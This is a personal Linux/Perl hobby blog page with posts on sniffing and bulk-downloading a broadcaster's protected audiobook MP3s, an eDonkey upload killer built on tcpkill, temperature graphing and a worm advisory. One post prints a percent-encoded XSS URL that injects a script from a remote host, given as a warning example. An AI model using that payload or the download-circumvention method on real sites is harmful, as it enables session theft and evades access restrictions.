Software on OiePoie!

Perl automatic mp3 audiobook downloader

Sat, 27 Dec 2014 18:39:34 +0100

The Dutch Public broadcasting services have a number of nice audiobooks which you can listen for free. This is a great service, but most content is limited to online listening and tries to prevent you from downloading the mp3’s.
Since i would like to take the audiobooks with me on my mp3-player and listen to them when i am offline (for instance in an airplane) i build a perl script to download the audio files.

This is a two-step approach. The website with the audiobooks (for instance ) mostly uses a flash player to play the audio content to you. On a Linux or Mac computer you can install the package “dsniff” which contains “urlsnarf” and that shows you the URL’s which are retrieved on you computer. For instance for one of the audiobooks it would show the URL’s below when you click on all parts:

[Dumper ~]# urlsnarf -i en0
urlsnarf: listening on en0 [tcp port 80 or port 8080 or port 3128]
192.168.0.81 - - [27/Dec/2014:17:51:23 +0100] "GET http://audio.omroep.nl/nps/mp3/bommel/728.mp3 HTTP/1.1" - - "http://www.nps.nl/nps/bommel/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"
192.168.0.81 - - [27/Dec/2014:17:51:23 +0100] "GET http://content1b.omroep.nl/urishieldv2/l27m197ec2b3199d940300549ee38a000000.4d9438a4b00d03fe7216163718cb969c/nps/mp3/bommel/728.mp3 HTTP/1.1" - - "http://www.nps.nl/nps/bommel/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"
192.168.0.81 - - [27/Dec/2014:17:51:25 +0100] "GET http://audio.omroep.nl/nps/mp3/bommel/729.mp3 HTTP/1.1" - - "http://www.nps.nl/nps/bommel/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"
192.168.0.81 - - [27/Dec/2014:17:51:25 +0100] "GET http://content1b.omroep.nl/urishieldv2/l27m1f5f84ba73bd18fe00549ee38d000000.633a459a44db1793d6d37aa0d9989da2/nps/mp3/bommel/729.mp3 HTTP/1.1" - - "http://www.nps.nl/nps/bommel/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36"
etcetera...

The “-i en0” after urlsnarf means listen on interface en0, this is typical for a macbook, if you use Linux the interface might be named “eth0” for a fixed network connection or “wlan0” for the wifi connection.

The relevant URL’s which contain the audio are the one’s with urishieldv2 in it, this probably refers to a mechanisme which tries to prevent you from easily predicting the download links, since there is a hash kind of variable in every link that changes with every filename.
So, when we are on the page with all the parts, we click on every part untill all are captured by urlsnarf.
This info is copied and saved in a file, for instance urlsnarf.txt.
And then the perl script is run with this data as input, for instance:

./parser_getter.pl < urlsnarf.txt

#!/usr/bin/perl
#
# 2014-12-26 version 1.0 (c) Ewald
use strict;
use warnings;
use LWP::UserAgent;
my $DEBUG = 1;
my $count = 1;
initialize pointer for HTTP fetch
my $ua = LWP::UserAgent->new();
Pretend to be Chrome on a Mac
$ua->agent(“Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36”);
while(<>) {
if (/(http:.*urishield\S+)/) {		# select URL’s with urishield in it, discard the rest
my $URL = $1;
$DEBUG && print “found URL: $URL\n”;
	# Get the mp3
		my $response = $ua-&gt;get($URL);

		unless($response-&gt;is_success) {
    		print "Error: " . $response-&gt;status_line;
			} #unless
	
	# Let's save the output, every name gets an incrementing part number
    	my $save = "part_" . $count++ . ".mp3";

		unless(open SAVE, '&gt;' . $save) {
    		die "Cannot create output file $save";
		} #unless

		print SAVE $response-&gt;content;

		close SAVE;

		$DEBUG &amp;&amp; print "Saved " .  length($response-&gt;content) .  " bytes of data to '$save'\n\n";

	} #if
} #while

you can download it here: url=https://www.oiepoie.nl/source/parser_getter.pl
When you run the script, the output should be something like this:

[Dumper]% ~/perl/parser_getter.pl < urlsnarf.txt
found URL: http://content1a.omroep.nl/urishieldv2/l27m5c68424d3983d34a00549edd0b000000.888031fd36578e71965fd87fe4c47691/nps/mp3/bommel/736.mp3
Saved 26060333 bytes of data to 'part_1.mp3'

found URL: http://content1a.omroep.nl/urishieldv2/l27m6daf9f5b7fa2e2ab00549eddb3000000.08e4416181ef0929a56f61c29e631010/nps/mp3/bommel/737.mp3
Saved 27389443 bytes of data to 'part_2.mp3'

found URL: http://content1b.omroep.nl/urishieldv2/l27m255eef306a86a3a200549edd0e000000.f74dd78d1b80d166ea63332169f77b43/nps/mp3/bommel/738.mp3
Saved 28820536 bytes of data to 'part_3.mp3'

found URL: http://content1b.omroep.nl/urishieldv2/l27m703f9ed30dc0c86900549edd10000000.77a82e78b996ded8d01f8b358842ea45/nps/mp3/bommel/739.mp3
Saved 28018054 bytes of data to 'part_4.mp3'

found URL: http://content1c.omroep.nl/urishieldv2/l27m448b988943e1683b00549edd12000000.c86acdb1faa882f8eba785b06c0859d7/nps/mp3/bommel/740.mp3
Saved 27468856 bytes of data to 'part_5.mp3'

found URL: http://content1a.omroep.nl/urishieldv2/l27m31eb2dca29a8561b00549edd14000000.51573901492484e6775ff27900eaf84c/nps/mp3/bommel/741.mp3
Saved 28096630 bytes of data to 'part_6.mp3'

found URL: http://content1c.omroep.nl/urishieldv2/l27m72acd31f5e2b5b3800549edd15000000.fe03a7383128d51fed8c739a4ca20cf4/nps/mp3/bommel/742.mp3
Saved 27464676 bytes of data to 'part_7.mp3'

found URL: http://content1a.omroep.nl/urishieldv2/l27m692578b42b7f0e4c00549edd17000000.4d1b1b8d94b8c570cb727c77782b55c6/nps/mp3/bommel/743.mp3
Saved 26377982 bytes of data to 'part_8.mp3'

found URL: http://content1c.omroep.nl/urishieldv2/l27m2c27b9f73b52190e00549edd1a000000.8368a180c635f2b970010f932e3b2fcc/nps/mp3/bommel/744.mp3
Saved 27148699 bytes of data to 'part_9.mp3'

Have Fun!

GPS coördinaat conversie

Wed, 27 Sep 2006 18:52:04 +0200

Met geocachen komt het nogal eens voor dat je van coördinaat systeem moet wisselen. Standaard gebruik je WGS-84 projectie met graden en minuten notatie (waarbij de minuten tot op drie decimalen achter de komma worden weergegeven), maar soms heb je toch de coördinaten in “graden, minuten, seconden” of alleen in graden (met b.v. 4 decimalen achter de komma) nodig. Dat is dus een leuk uitdaging om in een programmaatje te verwerken, dus vandaar deze:
GPS coördinaat conversie webpagina.

De WGS-84 projectie is trouwens niet van belang voor de conversies tussen graden, minuten enzovoorts. Maar ik heb er ook conversie naar UTM (Universal Transverse Mercator), OSGB (Ordnance Survey of Great Britain) en het Nederlandse RijksDriehoek systeem bij gezet en dan is het wel belangrijk welk “datum” formaat je gebruikt.

Hoe laat is het in …

Sun, 17 Sep 2006 22:49:13 +0200

Ik schreef laatst een stukje over tijdzone’s in linux en daarna viel het me op dat ik via Google af en toe zoekopdrachten binnen kreeg die op zoek waren naar de tijd in een bepaald land. Nu heb ik in PHP een script geschreven waarmee je kan zien hoe laat het is in diverse landen en plaatsen is die in allerlei verschillende tijdzones zitten. Dat klinkt iets makkelijker dan het is omdat we nu eenmaal zitten opgescheept met die zomertijd en sommige landen doen ook aan zomertijd en andere niet. Bovendien begint de zomertijd per land ook nog al eens verschillend, zo is de zomertijd in Australië precies tegenovergesteld aan die van ons. Anyway kijk maar eens op Hoe laat is het in…

video filmpjes op een iAudio U3 via Linux

Tue, 01 Aug 2006 12:06:03 +0200

Af en toe is het weer tijd voor een nieuwe MP3 speler. De oude heeft te weinig capaciteit, meestal is de accu binnen een uur uitgeput en als gadget-junkie moet de drang naar nieuwe gadgets nu eenmaal bevredigd worden.

Een iPod is natuurlijk helemaal hip om te hebben, maar zo’n iPod nano kan bijvoorbeeld geen Ogg Vorbis aan en heeft zelfs niet eens de mogelijkheid om videofilmpjes af te spelen. Een iPod video vond ik te groot en te duur, dus het is een Cowon iAudio U3 geworden. Subliem geluid, ondersteund alle standaarden: MP3, WMA, OGG Vorbis, JPEG, XviD, WAV, TXT, FLAC, MPEG4 en heeft een 260K TFT-LCD Display met 160×128 pixels (formaatje postzegel, maar wel vlijmscherp beeld). Je kan er dus ook je foto’s op bekijken, radio mee luisteren of geluid opnemen met de bijzonder gevoelige microfoon.
Officieel wordt Linux niet genoemd als ondersteund platform, maar je kan het apparaat mounten (USB stekker aansluiten, met dmesg | tail kijken welk device eraan is toegekend, b.v. /dev/sda en dat dan mounten met: mkdir /iAudio ; mount /dev/sdb /iAudio) en bestanden heen en weer kopieeren.

Als je fimpjes wilt omzetten zodat ze op de U3 te bekijken zijn kan dat heel goed met mencoder (meegeleverd in het mplayer package). Output formaat moet 160×128 pixels zijn met 15 frames per seconde. Dat gaat als volgt:
mencoder orgineel.ext -quiet -oac pcm -ovc xvid -ofps 15 -vf scale=160:-2 -xvidencopts bitrate=256:vhq=4:me_quality=4:max_bframes=0 -o film.avi

Uiteraard vervang je orgineel.ext door de naam van het video bestand dat je wilt converteren. Hierna moet er nog een slag plaatsvinden om het geluid te converteren van PCM naar MP3:
transcode -i film.avi -P1 -b 0,1 -o U3-film.avi

En nu kan het bestand U3-film in de movie folder op je U3 geplaatst worden.

Wat een erg hoge “coolness” factor heeft is om het journaal op die manier te kijken. Met mplayer kan je zo de laatste versie van het journaal streaming bekijken:
mplayer 'rtsp://streams3.omroep.nl/tv/nos/journaal/bb.laatste.rm'

Dus voor het opslaan naar disk en slechts een kleine wijziging nodig:
mplayer -dumpstream -dumpfile journaal.rm 'rtsp://streams3.omroep.nl/tv/nos/journaal/bb.laatste.rm'

Vervolgens journaal.rm met mencode omzetten, door transcode halen en voila. De ondertitels zijn nog net (maar dan ook net) leesbaar.

Ik heb een klein programma in Perl gescheven wat alle video files in een directory in een keer kan converteren naar het juiste formaat

[perl]
#!/usr/bin/perl
# (c) 20060801 by Ewald

use strict;

my $DEBUG = 0;
my @files = glob( “*.mp4” ); # get files to work on
my $out1;
my $out2;
my $org;

foreach my $file ( @files ) {
next if -d $file; # directory?
next if -z $file; # zero byte ?
$DEBUG && print “$file\n”;
$org = $file;
$file =~ tr/A-Z/a-z/; # lowercase
$file =~ tr/\ /_/; # get rid of spaces
$file =~ s/[\’\”\[\]\$\&]//g; # get rid of special char’s
$file =~ s/\.mp4$//; # strip extension
$DEBUG && print “$file\n”;
$org =~ s/(.)/\\$1/g; # escape everything for the shell
$out1 = $file . “.avi”;
print “transcoding $file\n”;
$DEBUG && print “mencoder $org -quiet -oac pcm -ovc xvid -ofps 15 -vf scale=160:-2 -xvidencopts bitrate=256:vhq=4:me_quality=4:max_bframes=0 -o $out1\n”;
qx(mencoder $org -quiet -oac pcm -ovc xvid -ofps 15 -vf scale=160:-2 -xvidencopts bitrate=256:vhq=4:me_quality=4:max_bframes=0 -o $out1);
$out2 = “U3_” . $out1;
$DEBUG && print “transcode -i $out1 -P1 -b 0,1 -o $out2\n”;
qx(transcode -i $out1 -P1 -b 0,1 -o $out2);
unlink $out1; # remove intermediate file
$DEBUG && exit 0; # in debug we run only once
}
[/perl]
Het programma is ook te downloaden: cvt2u3.pl

have fun!

URL coderen en decoderen met perl

Sat, 24 Jun 2006 14:59:53 +0200

Regelmatig zie je URL’s met in plaats van het ASCII karakter een gecodeerde versie hiervan. De meest voorkomende is waarschijnlijk %20 oftewel spatie, maar ook %2F (forward slash: /) zie je regelmatig in URL’s.
De reden hiervoor is dat deze karakter vaak een speciale betekenins hebben voor de computer waarop je browser draait en door ze te vervangen door de gecodeerde weergaven kan de browser ze doorgeven naar de website en komt de goede informatie terug.

Het wordt wat vervelender als je een URL (bijvoorbeeld via de e-mail) toegestuurd krijgt die alleen maar is opgebouwd uit dit soort tekens. De website aan het begin van de URL mag dan wel vertrouwd lijken, maar het zou kunnen dat je door middel van een Cross Site Scripting aanval ineens het cookie weggeeft aan een aanvaller (de verzender van de URL) die daardoor b.v. je sessie waarmee je bent ingelogd op je webmail kan overnemen.

Zo’n URL kan er bijvoorbeeld zo uitzien:

http://www.blabla.com/search.pl?q=%22%3E%3C%73%63%72%69%70%74%2B%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%6F%69%65%70%6F%69%65%2E%6E%6C%2F%78%73%73%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E

Met perl kan je dit makkelijk weer leesbaar maken, dit gaat als volgt:

echo \
"http://www.blabla.com/search.pl?q=%67%65%76%61%61%72%6C%69%6A%6B%65%20%58%53%53%20%61%61%6E%76%61%6C%20%6D%65%74%20%6A%61%76%61%73%63%72%69%70%74"\
| perl  -pe 's/\%([A-Fa-f0-9]{2})/pack('C', hex($1))/seg;'
output: http://www.blabla.com/search.pl?q=gevaarlijke XSS aanval met javascript

Als je zelf wilt experimenteren met dit soort URL’s dan kan je ze bouwen op de volgende manier:

echo "de groeten van Ewald" \
| perl -pe 'chomp ; s/(.)/sprintf("%%%02X", ord($1))/seg;'
output: %64%65%20%67%72%6F%65%74%65%6E%20%76%61%6E%20E%77%61%6C%64

measuring temperature from Linux

Sun, 19 Mar 2006 18:33:45 +0100

One of the things i wanted for a long time is measuring temperature (room and outside) and display this via a graph on my website. I didn’t want to pay a huge amount of money for the sensors so that stalled things for a while. A couple of weeks ago a collegue of mine found these nifty RS232 thermometers from a company called Papouch for a very reasonable price (the 14 euro is a bit deceptive since the total costs incl. BTW (VAT) and shipping will be around 20 euro per sensor). The fun thing about these sensors is that the are “intelligent”, they present temperature directly on the serial line, so you don’t have to do any fancy calculations. Also, since they are RS232 based it will work on any operating system. I ordered two probes for my computer at home, one to measure the room temperature and one for the outside temperature. The arrived after a week or two and i quickly plugged them in the serial ports, on Linux they are represented by:
/dev/ttyS0
/dev/ttyS1

There is a small program which comes with the sensors, tm.c, which is supposed to read from a sensor and show the results on screen, but that does not seem to work on my Fedora Core 3 machines. So i made a small kermit init script:

set modem type none   ; There is no modem
set carrier-watch off ; If DTR CD are not cross-connected
set line /dev/ttyS0   ; Device name
set speed 9600        ; Desired speed
set parity none       ; No parity
set stop-bits 2       ; 2 stop bits
set flow none         ; no flow-control
connect               ; Enter Connect (terminal) state

and saved this under .kermrc in my home directory, also i made sure i had all the necessary rights on the serial port devices (as root: chown my-userid /dev/ttyS[01]).
When i fired up kermit, i immediatly got some output, so the sensors worked fine.

I decided to write a program in perl which would be flexible enough to cater for all my future temperature needs. After a short quest on google i found that serial port communcations from perl are best done using: Device::SerialPort.
Since this module was not on my system yet, i had perl fetch it from CPAN and install it for me:

perl -MCPAN -e 'install Device::SerialPort'

This didn’t complete since there was a problem with one of the tests and perl reported it wouldn’t install without force. Well since i am the lazy type i thought i would try the module anyway, so:

cd ~/.cpan/build/Device-SerialPort-1.002/
make install

And that did the job. The first thing you always should do after installing a new module is read the documentation, it most often has ample examples in there to help you getting started:

perldoc Device::SerialPort

Since perl reads like a novel, i’ll just give the code straight away:
[perl]
#!/usr/bin/perl
#
# (c) 20060318 by Ewald
# https://www.oiepoie.nl

use Device::SerialPort; # to read serial port data
use Getopt::Std; # to handle cmdline options

my $V=”0.9 20060318″; # version and date of latest modification
my $DEBUG = 0; # do we want debugging output?
my $WAIT = 300; # how many seconds to wait between reads
my $ONCE = 0; # run only once?
my $UT = 0; # display timestamp in Unix format?
my $DONE = 0;
my $now;
my $TS=1; # do we want timestamps at all? (yes)
my $C=1; # display C to denote Celsius? (yes)
my $P = “/dev/ttyS0”; # default serial port to monitor

my %Options;
$ok = getopts(‘t:w:1uhdnc’, \%Options);

if (defined $Options{h}) {
print “logger.pl version: $V\n”;
print “Program to read temperature data from Papouch serial temp probe\n”;
print “Possible options:\n”;
print “-h Help (this output)\n”;
print “-d print debugging output\n”;
print “-c Don’t print C for celsius after values?\n”;
print “-n Don’t display timestamps\n”;
print “-1 Output temperature and exit\n”;
print “-u show timestamp in Unix format (seconds since epoch)\n”;
print “-t x read data from /dev/ttySx (default: $P) \n”;
print “-w N wait N seconds between readouts (default $WAIT)\n”;
exit 0;
}

$ONCE = 1 if defined $Options{1};
$DEBUG = 1 if defined $Options{d};
$TS = 0 if defined $Options{n};
$C = 0 if defined $Options{c};

$WAIT = $Options{w} if defined $Options{w};
$UT = $Options{u} if defined $Options{u};

if (defined $Options{t}) {
$P = “/dev/ttyS”;
$P .= $Options{t};
}

$DEBUG && print “monitoring serial port: $P\n”;
$DEBUG && print “wait interval is $WAIT\n”;
$DEBUG && print “run once? $ONCE\n”;
$DEBUG && print “Unix timestamps? $UT\n”;

# Serial Port initialization
my $port=Device::SerialPort->new($P) || die “cannot open $P: $!”;

$port->user_msg(ON);
$port->error_msg(ON);
$DEBUG && $port->debug($DEBUG);

$port->baudrate(9600) || die “failed setting baudrate”;
$port->parity(“none”) || die “failed setting parity”;
$port->databits(8) || die “failed setting databits”;
$port->stopbits(2) || die “failed setting databits”;
$port->handshake(“none”) || die “failed setting handshake”;
$port->write_settings || die “cannot write settings”;

# unset RTS and DTR
$port->rts_active(0);
$port->dtr_active(0);
sleep 1; # just a little wait to be sure we get stable data later on

if (($port->can_modemlines) && $DEBUG) {
$ModemStatus = $port->modemlines;
if ($ModemStatus & $port->MS_RTS_ON) { print “RTS ON\n”; }
else { print “RTS OFF\n”; }
if ($ModemStatus & $port->MS_DTR_ON) { print “DTR ON\n”; }
else { print “DTR OFF\n”; }
print “\n”;
}

# by setting RTS and DTR high we supply power to the device
# and in return it will supply us with data
$port->rts_active(1);
$port->dtr_active(1);

$port->read_char_time(0); # don’t wait for each character
$port->read_const_time(1000); # 1 second per unfulfilled “read” call

while (!$DONE) {
my ($count,$saw)=$port->read(8); # we should get 8 chars
if ($count > 0) {

$port->rts_active(0); # power-off device for now
$port->dtr_active(0);

$saw =~ s/([\+\-]\S+C)\r/$1/e; # value will be something like: +020.9C^M or -001.3C^M
# so we want to strip of the ^M (\r)
if (!$C) { $saw =~ s/(\S+)C/$1/e; } # strip of the C char
if ($TS) {
if ($UT) {
$now = time; # UNIX timestamp
}
else {
$now = localtime time; # human readable timestamp
}
printf “%s\t%s\n”, $now,$saw;
}
else {
printf “%s\n”, $saw; # output just the data
}

if ($ONCE) { # are we done?
$DONE = 1;
}
else {
sleep $WAIT; # sleep a little while before reading the next value
$port->rts_active(1); # power-on
$port->dtr_active(1);
}
}
else {
print “ERR: we got $count bytes of data\n”;
}
}

$port->rts_active(0); # power-off device
$port->dtr_active(0);
undef $port;

[/perl]

You can download the code from here: logger.pl

So now we got something which displays the output from the temperature sensors, but i wanted a nice graph of the information. Most people with a little Linux experience will see where this is going, rrdtool to the rescue!
Rrdtool is a very handy utility if you want to put anything (and i mean ANYthing) in a graph. It’s name stands for “Round Robin Database Tool” and that is wat it uses. In a round robin database values are stored untill the specified storage is used up and then the oldest data gets overwritten with new entries.
So to get a graph of one day of temperature data which i sample every 5 minutes, i would have to define a round robin archive of 288 (24 x 12) entries. Apart from the day graph you also want week, month and year graphs and thats easilly specified in one go.

On Fedora Core 3 we can install rrdtool using yum like this:

yum install rrdtool

All dependencies are automagically resolved. Debian users of course have theire trusty apt-get to do this, there is emerge for Gentoo users, Yast for Suse, and so on. If you are a die-hard, you can fetch the code and compile it yourself but there is a lot to be said for package management. When you install the software, the perl modules are automatically installed with it.

In the code below you can see that there are two DataSources (DS) defined, one in-temp for the temperature sensor in the room, and out-temp for the outdoor sensor. For both DataSources we have 4 Round Robin Archives (RRA). The DS is of type GAUGE which is what you would use for temperature readout. Other options are COUNTER, DERIVE, ABSOLUTE and COMPUTE.
If you want to get started yourself with rrdtool, the best thing to do is read the rrdtutorial. Or of course get somebody elses code and adapt it to your own needs.

Here is the perl code to create all the rrd stuff:
[perl]
#!/usr/bin/perl
#
# (c) 20060318 by Ewald
# https://www.oiepoie.nl

use RRDs;

sub CreateGraph
{
# creates the graph
# input: $_[0]: interval (ie, day, week, month, year)
# $_[1]: $rrd
# $_[2]: $img

my $rrd = $_[1];
my $img = $_[2];

RRDs::graph “$img/logger-$_[0].png”,
“–lazy”,
“-s -1$_[0]”,
“-t Leiden temperature “,
“-h”, “200”, “-w”, “600”,
“-a”, “PNG”,
“-v degrees C”,

“DEF:intemp=$rrd/logger.rrd:in-temp:AVERAGE”,
“LINE2:intemp#FF0000:Room Temperature”,
“GPRINT:intemp:MIN: Min\\: %2.lf”,
“GPRINT:intemp:MAX: Max\\: %2.lf”,
“GPRINT:intemp:AVERAGE: Avg\\: %4.1lf”,
“GPRINT:intemp:LAST: Current\\: %2.lf degrees C\\n”,

“DEF:outtemp=$rrd/logger.rrd:out-temp:AVERAGE”,
“LINE3:outtemp#0000FF:Outside Temperature”,
“GPRINT:outtemp:MIN: Min\\: %2.lf”,
“GPRINT:outtemp:MAX: Max\\: %2.lf”,
“GPRINT:outtemp:AVERAGE: Avg\\: %4.1lf”,
“GPRINT:outtemp:LAST: Current\\: %2.lf degrees C\\n”;

if ($ERROR = RRDs::error) { print “$0: unable to generate $_[0] graph: $ERROR\n”; }
}

# location of rrdtool databases
my $rrd = ‘/var/rrd’;
# location where the images should go
my $img = ‘/oiepoie/rrdtool’;

# get temp for inside and outside sensors
my $tempIN = `/usr/local/bin/logger.pl -1 -n -c -t 1`;
chop($tempIN);
my $tempOUT = `/usr/local/bin/logger.pl -1 -n -c -t 0`;
chop($tempOUT);

# if rrdtool database doesn’t exist, create it
if (! -e “$rrd/logger.rrd”)
{
print “creating rrd database …\n”;
RRDs::create “$rrd/logger.rrd”,
“-s 300”,
“DS:in-temp:GAUGE:600:-20:100”,
“DS:out-temp:GAUGE:600:-20:100”,
“RRA:AVERAGE:0.5:1:576”,
“RRA:AVERAGE:0.5:6:672”,
“RRA:AVERAGE:0.5:24:732”,
“RRA:AVERAGE:0.5:144:1460”;
}

# insert value into rrd
RRDs::update “$rrd/logger.rrd”, “-t”, “in-temp:out-temp”, “N:$tempIN:$tempOUT”;
if ($ERROR = RRDs::error) { print “$0: unable to update $rrd/logger.rrd: $ERROR\n”; }

# create graphs
&CreateGraph(“day”,$rrd,$img);
&CreateGraph(“week”,$rrd,$img);
&CreateGraph(“month”,$rrd,$img);
&CreateGraph(“year”,$rrd,$img);
[/perl]

Of course you have to make sure that you have write priviledge in the apropriate directories. Both programs do not need root priviledges (and hence should not be run as root just from a security perspective).

You can download the code from here: rrd_logger.pl

Add an entry in cron to run the stuff every 5 minutes:

*/5 * * * * /usr/local/bin/rrd_logger.pl > /dev/null

If you’re curious what the output looks like,
it’s right on my website

legaal downloaden op het donkey netwerk met perl

Sat, 25 Feb 2006 17:31:56 +0100

In Nederland mag iedereen voor eigen gebruik kopieën maken van muziek, films of teksten, zelfs als de bron daarvan illegaal is. Dus als iemand het aanbied op het Internet, mag je daar als individu gebruik van maken door een kopie te downloaden naar je computer. Het uploaden of aanbieden van auteursrechtelijk beschermde werken is echter wel verboden. Hoe het allemaal precies zit kan je terug vinden op de website van Bits of Freedom.

Als je nu dus muziek download van een newsserver, dan is er niets aan de hand. Het nadeel van een newsserver is alleen dat je moet wachten tot iemand het erop zet (dit heet posten) en omdat het honderden gigabytes per dag gepost worden blijft het meestal maar een paar dagen beschikbaar. Als je wilt zoeken op wat er allemaal in de newsgroepen beschikbaar is kan je ‘ns kijken op binaries4all.nl.

Een andere mogelijkheid is het gebruik van zogenaamde “Peer to Peer” netwerken, ook wel aangeduid met P2P. Je moet hierbij denken aan programma’s als Shareazaa, eDonkey, Gnutella, enzovoorts. Ik zoom even in op het zogenaamde donkey netwerk. Hierop is ontzettend veel muziek te vinden omdat honderduizenden mensen over de hele wereld met hun computer zijn verbonden via dit donkey netwerk. Je kan dus bijna alle muziek wel vinden hierop. Nadeel is dat het downloaden wel lang duurt, het is geen uitzondering dat je je computer een dag aan moet laten staan om het gewenste te kunnen overhalen.
Ook is het zo dat de meeste (alle?) programma’s voor het donkey netwerk tegelijkertijd weer de bestanden die je aan het downloaden bent ook weer aanbieden voor anderen om vanaf jou computer te downloaden. Dit gebeurt al terwijl je iets aan het overhalen bent en nog voordat het helemaal binnen is. Volgens de Nederlandse wet ben je dus illegaal bezig (als je auteursrechtelijk beschermde muziek aan het overhalen bent) want je bied het (ongemerkt) aan voor anderen om het vanaf jou computer te downloaden.

Je kan dit in een programma soms uitzetten, maar als je dat aanvinkt krijg je een “LowID” en lukt het downloaden eigenlijk ook iet meer. Zo’n LowID krijg je ook als je firewall op de computer te dicht staat.
Als ik zelf eens iets wil downloaden gebruik ik op mijn Linux systeem het programma aMule. Het voordeel hiervan is dat het “Open Source” is en dat je in principe de manier waarop het programma werkt zou kunnen aanpassen. Nu is het wel erg veel programmacoden en ben ik niet meer zo thuis in de programmeertaal C++, dus dat is niet echt een optie. Bovendien ben ik lui en zoek ik dus altijd naar de makkelijkste oplossing. Als je het programma draait en je bent aan het downloaden, dan zie je dat er ook mensen zijn die met jou verbinden en de data van jou computer weer overhalen. Onder Linux kan je met het commando netstat -tupan heel mooi zien welke netwerkverbindingen er op dat moment actief zijn en tot welk programma ze horen. De output van dat commando kan er dan b.v. zo uit zien:

# Proto Recv-Q Send-Q Local Address    Foreign Address       State       PID/Program name
# tcp        0   9877 10.10.1.2:4662     10.0.0.3:1250          ESTABLISHED 1234/amule

Je ziet hier je eigen ip-adres “10.10.1.2” en het adres van de andere partij “10.0.0.3”, de status van de verbinding (ESTABLISHED betekent dat de verbinding tot stand is gebracht) en de programmanaam waarbij deze gegevens horen “amule”. Andere interessante gegeven zijn de poortnummers die horen bij de verbinding. Onze computer “luistert” op poort 4662 naar binnenkomende verbindingen en de computer waarmee we verbonden zijn heeft poort 1250 gebruikt om de verbinding tot stand te brengen. We zien ook dat onze “Send Queue” niet 0 is maar 9877 bytes. Dit houdt in dat we informatie aan het verzenden zijn, dus met deze informatie weten we dat we die verbinding in kwestie zouden willen termineren.

Voor het verbreken van de verbinding maak ik gebruik van de dsniff toolkit van Dug Song, hierin zit ook het programma tcpkill waarmee je een bestaande verbinding kan uitschakelen. Als tcpkill nog niet op je computer staat kan je hem waarschijnlijk wel installeren met apt-get (debian), yum (fedora), of emerge (gentoo) of hoe het ook mag heten op jou distributie. Er zitten ook erg veel andere interessante tools in die dsniff toolkit, b.v. dsniff zelf om wachtwoorden op de Internet verbinding af te vangen en zichtbaar te maken!

Het perl programma om upload verbindingen te verbreken is hier te downloaden. Je moet eerst je amule opstarten (het is eenvoudig aan te passen voor xmule, emule of wat dan ook) en dan kijken op welke server je geconnect bent. Die kan je daarna met kill_donkey.pl als argument meegeven zodat de server verbinding nooit door tcpkill neergeschoten wordt. Alle tcpkill acties die uitgevoerd worden blijven actief zolang kill_donkey.pl draait, als je kill_donkey afsluit door CTRL-C dan worden ook meteen alle
tcpkill processen weer gestopt. Voordat je kill_donkey.pl voor de eerste keer gebruikt moet je nog wel je eigen ip-adres invullen in het programma (in de variabele $MYIP).

Have fun!

Romeinse Rekenmachine

Thu, 23 Feb 2006 00:42:06 +0100

Altijd al elektronisch willen rekenen met Romeinse getallen, nu kan het met de:
Romeinse Rekenmachine. Er daar draait ook een Romeinse Klok (met datum aanduiding). Of zie je liever een Analoge Romeinse Klok ?

Linux worm on the loose

Wed, 09 Nov 2005 13:10:41 +0100

There is a worm on the loose which will attack linux webservers running old versions of programs like wordpress, awstats, etc. More information about this worm can be found:

So, there it is, Linux can be attacked by worms just as easy as Windows systems? Well, yes and no. If you don’t manage your system properly it probably is insecure and vulnerable to worms and hackers; but if you keep your software up to date run at least a host based firewall (iptables) and secure your apache webserver with mod_security, both OS’es can be pretty safe.
There are however a few things in favor of Linux.

It’s Open Source, so anyone can look at the code and check if there are any backdoors or bufferoverflows. This happens a lot and also these bugs are found and published (for instance on Bugtraq). As a rule the open source folks take this very serious (even personal) and a patch is available in no-time.

With closed source you depend on the vendor to keep your software safe. Security leaks are found by either reverse engineering the code or by firing massive pseudo random data at the server. When the server crashes with certain error codes, you found a bug which might be exploitable. Security research finds these kinds of holes all the time and it can take uptill a half year or more before a vendor releases a patch to close the hole. And since hackers can be tought of as a kind of security researcher…

The Linux people tend to know more about there system. With Windows a lot of “administrators” never fire up a dos box and have a look at netstat -an to see the network connections which are active on their box. On Linux, you always use a shell and netstat -tupan | grep LISTEN not only shows you the ports you are willing to receive connections on, but also the process name attached to that port.
Also Microsoft tends to hide a lot of information from their users. On one hand this makes the system very easy to install and use, but on the other hand this makes it very difficult to finetune the system to a lean and mean webserver for instance. Removing unnecessary software means increasing security, increasing performance, reducing maintenance time, etcetera. With Linux you can reduce software down to the bone. Neat examples of this are Toms root and boot disk which runs multiuser, network enabled Linux from one bootable floppy!

Anyway, back to the worm. Want to know if your computer is vulnerable? Some quick and easy things to do are, run a locate xmlrpc.php and a locate awstats. When you run awstats, upgrade to the latest version, rename your URL so they don’t start with awstats but have something like my-stats. This will make it nearly impossible for worms to explot future security holes. Also have a .htaccess in you awstats directory so you need a username and password to access the statistics. Test your access and watch your webserver logs while you are testing.

Install and use mod_security on your apache webserver. Play around with rules.conf so you see what gets blocked and what is allowed. Use Google to find good examples of other peoples rules.conf (Sometimes called mod_security.conf).

Block the admin access to your blog or CMS so you can only access those from defined ip-adresses.

There are a number of other measures, but i will adress those at a later time.
By the way, here is some apache logging of a worm trying to get in:
